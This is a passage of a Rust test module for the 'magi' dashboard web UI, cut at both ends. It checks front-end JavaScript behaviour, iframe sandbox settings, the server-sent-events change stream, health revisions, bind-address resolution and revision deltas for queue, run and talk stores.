22058        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22059
22060        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22061        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22062    }
22063
22064    #[test]
22065    fn panel_sandbox_carries_exactly_popups() {
22066        let needle = "sandbox: \"";
22067        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22068        assert_eq!(
22069            matches.len(),
22070            1,
22071            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22072        );
22073        let start = matches[0].0 + needle.len();
22074        let end = APP_JS[start..]
22075            .find('"')
22076            .expect("sandbox attribute value must be terminated by a closing quote");
22077        let val = &APP_JS[start..start + end];
22078        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22079        let expected: std::collections::BTreeSet<&str> =
22080            ["allow-popups", "allow-popups-to-escape-sandbox"]
22081                .into_iter()
22082                .collect();
22083        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22084        assert!(
22085            !tokens.contains("allow-scripts"),
22086            "allow-scripts must never be present in sandbox"
22087        );
22088        assert!(
22089            !tokens.contains("allow-same-origin"),
22090            "allow-same-origin must never be present in sandbox"
22091        );
22092    }
22093
22094    #[test]
22095    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22096        // consumeQueueFocus() clears an active Backlog search before it can
22097        // scroll to the target card (the sections list is hidden while a
22098        // search is showing), by recursing back into renderQueue(). The
22099        // fixer's first cut nulled state.queueFocus before that recursive
22100        // call, so the second pass saw nothing to jump to and the jump was
22101        // silently dropped whenever a notification's link was opened with a
22102        // stale search still active. state.queueFocus must only be cleared
22103        // right before jumpToTask() actually runs.
22104        assert!(
22105            APP_JS.contains(
22106                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
22107            ),
22108            "the search-clearing branch must run before state.queueFocus is cleared, or the \
22109             recursive renderQueue() call has nothing left to jump to"
22110        );
22111        assert!(
22112            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22113            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22114             arrives later still gets it"
22115        );
22116        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22117        assert!(APP_JS.contains("is not in the current Backlog."));
22118        assert!(APP_JS.contains("li.card[data-task-id=\""));
22119        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22120        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22121        assert!(APP_CSS.contains(".card-permalink"));
22122        assert!(APP_CSS.contains(".queue-focus-status"));
22123        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22124    }
22125
22126    #[test]
22127    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22128        // The task's own repro: only the link text inside .notice-meta was
22129        // clickable, so a tap on the message, the timestamp, or the card's
22130        // padding did nothing - on a phone that reads as "the card doesn't
22131        // work" even though the tiny link inside it did. Mark read / Dismiss
22132        // must keep working independently of this: `.closest("a, button")`
22133        // is what lets a tap that actually lands on those elements fall
22134        // through instead of being hijacked into a navigation.
22135        assert!(
22136            APP_JS.contains(
22137                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22138            ),
22139            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22140        );
22141    }
22142
22143    #[test]
22144    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22145        assert!(
22146            APP_JS.contains("round.verified_head !== round.head"),
22147            "a round that verified an earlier commit must be visibly distinct from one that \
22148             verified the head reviewers are looking at now"
22149        );
22150        assert!(
22151            APP_JS.contains("round.verified_at"),
22152            "when a check ran must be on the wire, not just which commit"
22153        );
22154        assert!(
22155            APP_JS.contains("resource_blocked"),
22156            "a command magi never got to run (shared build cache contention) must not render \
22157             the same as a command that ran and failed"
22158        );
22159    }
22160
22161    #[test]
22162    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22163        // Every KPI tile but Total runs and Completion names an exact
22164        // RunStatus and hands it to openRunsFiltered(), which is what wires
22165        // the click into state.runsFilter.status (matchesFilter's own
22166        // status check) rather than the coarser runsStateFilter chips. Each
22167        // status literal here must be one of the strings runSection() (and
22168        // isStale()) actually compare a run's own `status` field against -
22169        // a status this dashboard invented would filter to nothing.
22170        assert!(
22171            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22172            "every KPI tile built through statusTile() must route its click through \
22173             openRunsFiltered, the single place that sets the Runs filter"
22174        );
22175        for (label, status) in [
22176            ("Merged", "merged"),
22177            ("Ready", "ready"),
22178            ("Blocked", "blocked"),
22179            ("Stalled", "stalled"),
22180        ] {
22181            let call = format!("statusTile(\"{label}\", t.{status}, ");
22182            assert!(
22183                APP_JS.contains(&call),
22184                "expected the {label} KPI tile built via {call}..."
22185            );
22186            assert!(
22187                APP_JS.contains(&format!("status === \"{status}\"")),
22188                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22189                 compare a run against, not one invented only for the stats tile"
22190            );
22191        }
22192        assert!(
22193            APP_JS.contains("function openRunsFiltered(status)"),
22194            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22195        );
22196        assert!(
22197            APP_JS.contains(
22198                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22199            ),
22200            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22201        );
22202        // applyRoute() only flips which view is visible for a plain `#runs`
22203        // hash - it does not itself redraw the list (see applyRoute's own
22204        // handling below) - so openRunsFiltered must call renderRuns()
22205        // itself, and must call applyRoute() too so the view flips even
22206        // when the hash string doesn't change (the operator may already be
22207        // on the Runs view when a tile is tapped, which fires no
22208        // hashchange event at all).
22209        assert!(
22210            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22211            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22212             hashchange event that may never fire"
22213        );
22214    }
22215
22216    #[test]
22217    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22218        // A stats tile can leave state.runsFilter.status set to something
22219        // done-by-construction (e.g. "merged") - picking "Active" afterward
22220        // must drop it the same way an incompatible tree section is already
22221        // dropped, or the Runs list renders permanently empty with no way
22222        // for the operator to tell why.
22223        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22224        assert!(
22225            APP_JS.contains(
22226                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22227            ),
22228            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22229             guard for an incompatible tree section"
22230        );
22231    }
22232
22233    #[test]
22234    fn every_stats_queue_tile_names_a_real_queue_section() {
22235        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22236        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22237        // (consumeQueueSectionFocus finds no matching <details> and drops
22238        // the focus) rather than fail loudly, so pin every key against the
22239        // section list it has to resolve against.
22240        assert!(
22241            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22242            "every queue tile built through sectionTile() must route its click through \
22243             openQueueSectionFocus"
22244        );
22245        for key in ["upnext", "running", "done", "held", "blocked"] {
22246            assert!(
22247                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22248                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22249            );
22250        }
22251        // Queued and Failed intentionally both resolve to "upnext" - the
22252        // same section queueSection() itself files them under - rather than
22253        // getting a section each.
22254        for line in [
22255            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22256            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22257            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22258            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22259            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22260            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22261        ] {
22262            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22263        }
22264    }
22265
22266    #[test]
22267    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22268        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22269        // above for the section-focus channel a stats queue tile drives:
22270        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22271        // through the stale-search-clear recursion into renderQueue(), and
22272        // clear it only once revealQueueSection() is actually about to run -
22273        // the same trap that once silently dropped a task-focus jump.
22274        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22275        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22276        assert!(APP_JS.contains("function revealQueueSection(details)"));
22277        assert!(
22278            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22279            "renderQueue() must consume both focus channels on every pass"
22280        );
22281        assert!(
22282            APP_JS.contains(
22283                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22284            ),
22285            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22286             the recursive renderQueue() call has nothing left to reveal"
22287        );
22288        assert!(
22289            APP_JS.contains(
22290                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22291            ),
22292            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22293        );
22294        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22295        // task-focus form of the hash - a plain `#queue` navigation only
22296        // flips which view is visible. openQueueSectionFocus() must
22297        // therefore call renderQueue() itself, and applyRoute() too so the
22298        // view flips even when the hash doesn't change (the Backlog may
22299        // already be open when a tile is tapped, firing no hashchange
22300        // event at all).
22301        assert!(
22302            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22303            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22304             hashchange event that may never fire"
22305        );
22306    }
22307
22308    #[tokio::test]
22309    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22310        let f = Fixture::start().await;
22311
22312        let mut socket = tokio::net::TcpStream::connect(f.addr)
22313            .await
22314            .expect("connect");
22315        socket
22316            .write_all(
22317                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22318            )
22319            .await
22320            .expect("write request");
22321
22322        // Read until the first event arrives rather than to end of stream: the
22323        // stream is endless by design, which is the point of the route.
22324        let mut seen = String::new();
22325        let mut buf = [0u8; 1024];
22326        while !seen.contains("event: change") {
22327            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22328                .await
22329                .expect("the stream must speak within five seconds")
22330                .expect("read");
22331            assert!(read > 0, "the server closed the change stream: {seen}");
22332            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22333        }
22334
22335        assert!(
22336            seen.to_lowercase()
22337                .contains("content-type: text/event-stream"),
22338            "the browser only reconnects automatically for a real SSE stream: {seen}"
22339        );
22340        let data = seen
22341            .lines()
22342            .find_map(|l| l.strip_prefix("data:"))
22343            .expect("a data line");
22344        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22345        assert!(
22346            payload["queue_rev"].is_u64()
22347                && payload["runs_rev"].is_u64()
22348                && payload["questions_rev"].is_u64()
22349                && payload["talks_rev"].is_u64()
22350                && payload["notifications_rev"].is_u64()
22351                && payload["loop_rev"].is_u64(),
22352            "the client needs one revision per store to know what to refetch, \
22353             and `talks_rev` is the only notification a standing talk gets - a \
22354             phone whose radio slept through a turn learns about it here, as \
22355             does one whose operator started the loop from another device: \
22356             {payload}"
22357        );
22358
22359        // The front end re-polls health on a timer and on wake, and takes the
22360        // revisions from that answer whenever the stream is not up. So health
22361        // has to carry every key the stream carries: a phone on a link that
22362        // will not hold an SSE connection is exactly the phone that must still
22363        // notice a question, and a missing key there is not a 500 but a UI
22364        // that quietly stops updating.
22365        let health = f.get("/api/health").await.json();
22366        for key in [
22367            "queue_rev",
22368            "runs_rev",
22369            "questions_rev",
22370            "talks_rev",
22371            "notifications_rev",
22372            "loop_rev",
22373        ] {
22374            assert!(
22375                health[key].is_u64(),
22376                "health is the change stream's fallback and is missing `{key}`: {health}"
22377            );
22378        }
22379    }
22380
22381    #[tokio::test]
22382    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22383        let home = TempDir::new().expect("temp home");
22384        let ui = delta_test_ui(home.path());
22385        let talk = seed_talk_at(&ui.talks, "20260904-014455-ab12", "open");
22386        // Establish the existing conversation's baseline before appending.
22387        // Wait on the stream's shared notification rather than repeatedly
22388        // rebuilding health (config, process and disk observations included).
22389        let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22390        let mut changes = ui.monitor.broadcaster.subscribe();
22391        let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22392        on_disk.turns.push(crate::talk::Turn {
22393            sender: None,
22394            breaks: Some(Vec::new()),
22395            messages: Vec::new(),
22396            posted_by: None,
22397            who: crate::talk::Who::Operator,
22398            body: "a new turn".to_owned(),
22399            at: Timestamp::now(),
22400            attachments: Vec::new(),
22401            usage: None,
22402        });
22403        ui.talks.put(&mut on_disk).expect("record a turn");
22404
22405        let after = tokio::time::timeout(Duration::from_secs(5), async {
22406            loop {
22407                let change = changes.recv().await.expect("monitor notification");
22408                let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
22409                if revision != before {
22410                    assert_eq!(
22411                        change.payload["talks_delta"]["changed"],
22412                        serde_json::json!([talk])
22413                    );
22414                    break revision;
22415                }
22416            }
22417        })
22418        .await
22419        .expect("shared monitor observes external turn");
22420        assert_ne!(
22421            before, after,
22422            "a phone must be able to notice a talk's reply without polling every store"
22423        );
22424        let Json(observed) = health(State(ui)).await.expect("health");
22425        assert_eq!(
22426            observed.talks_rev, after,
22427            "health exposes the same revision"
22428        );
22429    }
22430
22431    #[test]
22432    fn bind_reads_back_from_the_spelling_the_cli_prints() {
22433        // The CLI shows the default in `--help` and parses whatever comes
22434        // back, so the two directions have to agree or `--bind auto` breaks
22435        // the moment someone copies the help text.
22436        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
22437            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
22438        }
22439        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
22440        assert!("everywhere".parse::<Bind>().is_err());
22441    }
22442
22443    #[test]
22444    fn an_explicit_bind_address_is_taken_verbatim() {
22445        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22446
22447        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22448
22449        assert_eq!(addr, asked);
22450        assert!(
22451            warning.is_none(),
22452            "an operator who named an address gets no lecture"
22453        );
22454    }
22455
22456    #[test]
22457    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22458        let (addr, warning) = resolve_bind(&Bind::Auto);
22459
22460        // This has to hold on a CI runner with no `tailscale` and on a dev box
22461        // with one, so the invariant asserted is the one shared by both
22462        // outcomes: the address is either a real tailnet address offered
22463        // without comment, or loopback with an explanation. What must never
22464        // happen is a silent fallback - an operator told "listening on
22465        // 127.0.0.1" with no reason would go looking for a firewall.
22466        match addr {
22467            IpAddr::V4(ip) if is_tailnet(&ip) => {
22468                assert!(warning.is_none(), "a tailnet address needs no warning");
22469            }
22470            other => {
22471                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22472                let warning = warning.expect("a fallback has to explain itself");
22473                assert!(
22474                    warning.contains("127.0.0.1") && warning.contains("local-only"),
22475                    "the warning says what happened and what it costs: {warning}"
22476                );
22477            }
22478        }
22479    }
22480
22481    #[test]
22482    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22483        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
22484        // boundary cases are what stop us binding to some other tool's idea of
22485        // an address.
22486        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22487        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22488        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22489        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22490        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22491    }
22492
22493    #[test]
22494    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22495        let ids = vec![
22496            "20260902-140501-aaaa".to_owned(),
22497            "20260902-140502-aabb".to_owned(),
22498        ];
22499
22500        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22501        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22502        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22503
22504        assert_eq!(missing.status, StatusCode::NOT_FOUND);
22505        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22506        assert_eq!(short, "20260902-140502-aabb");
22507    }
22508    #[tokio::test]
22509    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22510        // The prompt tells agents to reference attachments by bare filename.
22511        // A document served at `.../panel` resolves `shot.png` against its own
22512        // directory, i.e. `.../shot.png`, which is not the asset route - so a
22513        // panel written exactly as instructed showed broken images. Caught by
22514        // looking at a real one in a browser, not by reading the code.
22515        let fx = Fixture::start().await;
22516        let id = panel(
22517            &fx,
22518            "<img src=\"shot.png\">",
22519            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22520        );
22521
22522        // The frame's own URL ends in a filename, so its siblings are reachable.
22523        let doc = fx
22524            .get(&format!("/api/questions/{id}/panel/index.html"))
22525            .await;
22526        assert_eq!(doc.status, 200, "{}", doc.body);
22527        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22528
22529        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22530        assert_eq!(sibling.status, 200, "{}", sibling.body);
22531        assert_eq!(sibling.header("content-type"), Some("image/png"));
22532        assert_eq!(
22533            sibling.header("content-security-policy"),
22534            Some(PANEL_CSP),
22535            "the sibling route must carry the same policy as the asset route"
22536        );
22537
22538        // The original spelling keeps working: HEAD on it is how the front end
22539        // decides whether to mount a frame at all.
22540        assert_eq!(
22541            fx.head(&format!("/api/questions/{id}/panel")).await.status,
22542            200
22543        );
22544    }
22545
22546    #[test]
22547    fn delta_stamps_cover_add_update_remove_and_noop() {
22548        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22549        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22550        let delta = diff_stamps(&before, &after, 42);
22551        assert_eq!(delta.base, 42);
22552        assert_eq!(delta.changed, ["b", "c"]);
22553        assert_eq!(delta.removed, ["a"]);
22554        let same = diff_stamps(&after, &after, 43);
22555        assert!(same.changed.is_empty() && same.removed.is_empty());
22556        assert_ne!(stamps_revision(&before), stamps_revision(&after));
22557        let nanos: Stamps = [("b".into(), (2, 20))].into();
22558        let same_ms: Stamps = [("b".into(), (3, 20))].into();
22559        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22560        assert_eq!(stamps_revision(&Stamps::new()), 0);
22561    }
22562
22563    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22564        std::fs::create_dir_all(home.join("runs")).unwrap();
22565        Arc::new(
22566            Ui::new(
22567                Queue::at(home.join("queue")),
22568                Questions::at(home.join("questions")),
22569                Talks::at(home.join("talks")),
22570                home.join("runs"),
22571                home.to_owned(),
22572                PathBuf::from("/repo/magi"),
22573            )
22574            .with_worktrees_root(home.join("wt")),
22575        )
22576    }
22577
22578    #[test]
22579    fn monitor_scan_isolates_store_failures_and_recovers() {
22580        let home = TempDir::new().unwrap();
22581        let ui = delta_test_ui(home.path());
22582        std::fs::create_dir_all(ui.questions.root()).unwrap();
22583        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22584        let before = monitor_scan(&ui, None);
22585        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22586        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22587        std::fs::create_dir_all(ui.talks.root()).unwrap();
22588        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22589        let during = monitor_scan(&ui, Some(before.clone()));
22590        assert_eq!(during.0.2, before.0.2);
22591        assert_ne!(during.0.3, before.0.3);
22592        assert!(during.1[2].contains_key("new"));
22593        std::fs::remove_file(ui.questions.root()).unwrap();
22594        let after = monitor_scan(&ui, Some(during));
22595        assert_eq!(after.0.2, 0);
22596        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22597        // A failed first scan also permits healthy stores to publish.
22598        std::fs::write(ui.questions.root(), "not a directory").unwrap();
22599        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22600    }
22601
22602    #[tokio::test]
22603    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22604        let home = TempDir::new().unwrap();
22605        let ui = delta_test_ui(home.path());
22606        let mut task = Task::new(
22607            "stream task".into(),
22608            "text".into(),
22609            PathBuf::from("/repo"),
22610            Source::Human,
22611        );
22612        ui.queue.put(&mut task).unwrap();
22613        let response = events(State(ui.clone())).await.into_response();
22614        let mut stream = response.into_body().into_data_stream();
22615        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22616            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22617                .await
22618                .unwrap()
22619                .unwrap()
22620                .unwrap();
22621            let text = String::from_utf8(chunk.to_vec()).unwrap();
22622            let data = text
22623                .lines()
22624                .find_map(|line| {
22625                    line.strip_prefix("data: ")
22626                        .or_else(|| line.strip_prefix("data:"))
22627                })
22628                .unwrap();
22629            serde_json::from_str(data).unwrap()
22630        }
22631        let initial = change(&mut stream).await;
22632        assert!(initial.get("queue_delta").is_none());
22633        task.instruction.push_str(" changed");
22634        ui.queue.put(&mut task).unwrap();
22635        let updated = change(&mut stream).await;
22636        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22637        assert_eq!(
22638            updated["queue_delta"]["changed"],
22639            serde_json::json!([task.id])
22640        );
22641        assert_eq!(
22642            updated["queue_rev"].as_u64(),
22643            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22644        );
22645        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22646        let removed = change(&mut stream).await;
22647        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22648        assert_eq!(
22649            removed["queue_delta"]["removed"],
22650            serde_json::json!([task.id])
22651        );
22652    }
22653
22654    #[tokio::test]
22655    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22656        let home = TempDir::new().unwrap();
22657        let ui = delta_test_ui(home.path());
22658        let queue = ui.queue.clone();
22659        let query = |ids: Option<&str>| {
22660            Query(ListQuery {
22661                limit: Some(2),
22662                ids: ids.map(str::to_owned),
22663            })
22664        };
22665        let mut root = Task::new(
22666            "root".into(),
22667            "instruction".into(),
22668            PathBuf::from("/repo"),
22669            Source::Human,
22670        );
22671        queue.put(&mut root).unwrap();
22672        let mut blocked = Task::new(
22673            "blocked".into(),
22674            "instruction".into(),
22675            PathBuf::from("/repo"),
22676            Source::Human,
22677        );
22678        blocked.block(vec![root.id.clone()], None);
22679        queue.put(&mut blocked).unwrap();
22680        let whole =
22681            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22682                .unwrap();
22683        let subset = serde_json::to_value(
22684            queue_list(State(ui.clone()), query(Some(&root.id)))
22685                .await
22686                .unwrap()
22687                .0,
22688        )
22689        .unwrap();
22690        assert_eq!(whole, subset, "requested root plus its blocked dependent");
22691        let blockers = serde_json::to_value(
22692            queue_list(State(ui.clone()), query(Some("")))
22693                .await
22694                .unwrap()
22695                .0,
22696        )
22697        .unwrap();
22698        assert_eq!(blockers.as_array().unwrap().len(), 1);
22699        assert_eq!(blockers[0]["id"], blocked.id);
22700        assert_eq!(
22701            blockers[0]["waits_on"],
22702            whole
22703                .as_array()
22704                .unwrap()
22705                .iter()
22706                .find(|row| row["id"] == blocked.id)
22707                .unwrap()["waits_on"]
22708        );
22709
22710        for id in [
22711            "20260902-140501-aaaa",
22712            "20260902-140502-bbbb",
22713            "20260902-140503-cccc",
22714        ] {
22715            write_run(&ui.runs, id, RunStatus::Merged);
22716        }
22717        let old = serde_json::to_value(
22718            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22719                .await
22720                .unwrap()
22721                .0,
22722        )
22723        .unwrap();
22724        assert!(
22725            old.as_array().unwrap().is_empty(),
22726            "older updates must not enter the window"
22727        );
22728        let newest = serde_json::to_value(
22729            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22730                .await
22731                .unwrap()
22732                .0,
22733        )
22734        .unwrap();
22735        assert_eq!(newest.as_array().unwrap().len(), 1);
22736        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22737
22738        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22739        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22740        let talks = serde_json::to_value(
22741            talks_list(
22742                State(ui.clone()),
22743                query(Some("20260905-000000-d4e5")),
22744                header::HeaderMap::new(),
22745            )
22746            .await
22747            .unwrap()
22748            .0,
22749        )
22750        .unwrap();
22751        assert_eq!(talks.as_array().unwrap().len(), 1);
22752        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22753        assert_eq!(
22754            serde_json::to_value(
22755                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22756                    .await
22757                    .unwrap()
22758                    .0
22759            )
22760            .unwrap(),
22761            serde_json::json!([])
22762        );
22763    }
22764
22765    #[tokio::test]
22766    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22767    async fn delta_payload_benchmark() {
22768        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22769        let ui = delta_test_ui(&home);
22770        let query = |ids: Option<String>| {
22771            Query(ListQuery {
22772                limit: Some(50),
22773                ids,
22774            })
22775        };
22776        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22777        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22778        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22779            .await
22780            .unwrap()
22781            .0;
22782        let queue_id = queue
22783            .iter()
22784            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22785            .unwrap_or(&queue[0])
22786            .task
22787            .id
22788            .clone();
22789        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22790            .await
22791            .unwrap()
22792            .0;
22793        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22794            .await
22795            .unwrap()
22796            .0;
22797        let talks_delta = talks_list(
22798            State(ui.clone()),
22799            query(Some(talks[0].id.clone())),
22800            header::HeaderMap::new(),
22801        )
22802        .await
22803        .unwrap()
22804        .0;
22805        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22806        eprintln!(
22807            "DELTA_PAYLOAD {}",
22808            serde_json::json!({
22809                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22810                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22811                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22812                "counts": [queue.len(), runs.len(), talks.len()],
22813                "blocked": queue_delta.len() - 1,
22814            })
22815        );
22816    }
22817
22818    #[test]
22819    fn runs_revision_moves_when_deleting_an_older_run() {
22820        let temp = TempDir::new().expect("tempdir");
22821        let runs = temp.path().join("runs");
22822        std::fs::create_dir_all(&runs).expect("create runs dir");
22823
22824        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22825
22826        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22827        std::thread::sleep(Duration::from_millis(10));
22828        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22829
22830        let rev_before = runs_revision(&runs);
22831        assert!(rev_before > 0);
22832
22833        let old_dir = runs.join("20260901-100000-old1");
22834        std::fs::remove_dir_all(&old_dir).expect("remove old run");
22835
22836        let rev_after = runs_revision(&runs);
22837        assert_ne!(
22838            rev_before, rev_after,
22839            "deleting an older run must change the revision so other clients see the deletion"
22840        );
22841    }
22842
22843    /// A run's own `run.json` on an explicit `runs` root, bypassing the
22844    /// process-global home entirely — `RunState::save` writes through
22845    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
22846    /// (see `tests::home_lock` in the integration suite for why).
22847    fn write_state(runs: &FsPath, state: &RunState) {
22848        let dir = runs.join(&state.id);
22849        std::fs::create_dir_all(&dir).expect("run dir");
22850        std::fs::write(
22851            dir.join("run.json"),
22852            serde_json::to_string_pretty(state).expect("serialize run"),
22853        )
22854        .expect("write run.json");
22855    }
22856
22857    /// A seat starting or finishing is a write to `run.json` like any other,
22858    /// so it moves the same revision the change stream already watches —
22859    /// nothing new for `/api/events` to learn, but the property this feature
22860    /// depends on to reach the phone without a poll.
22861    #[test]
22862    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22863        let temp = TempDir::new().expect("tempdir");
22864        let runs = temp.path().join("runs");
22865        std::fs::create_dir_all(&runs).expect("create runs dir");
22866        let mut state = RunState::new(
22867            PathBuf::from("/repo/magi"),
22868            "main".to_owned(),
22869            "0123456789abcdef".to_owned(),
22870            "task".to_owned(),
22871            Config::default(),
22872        );
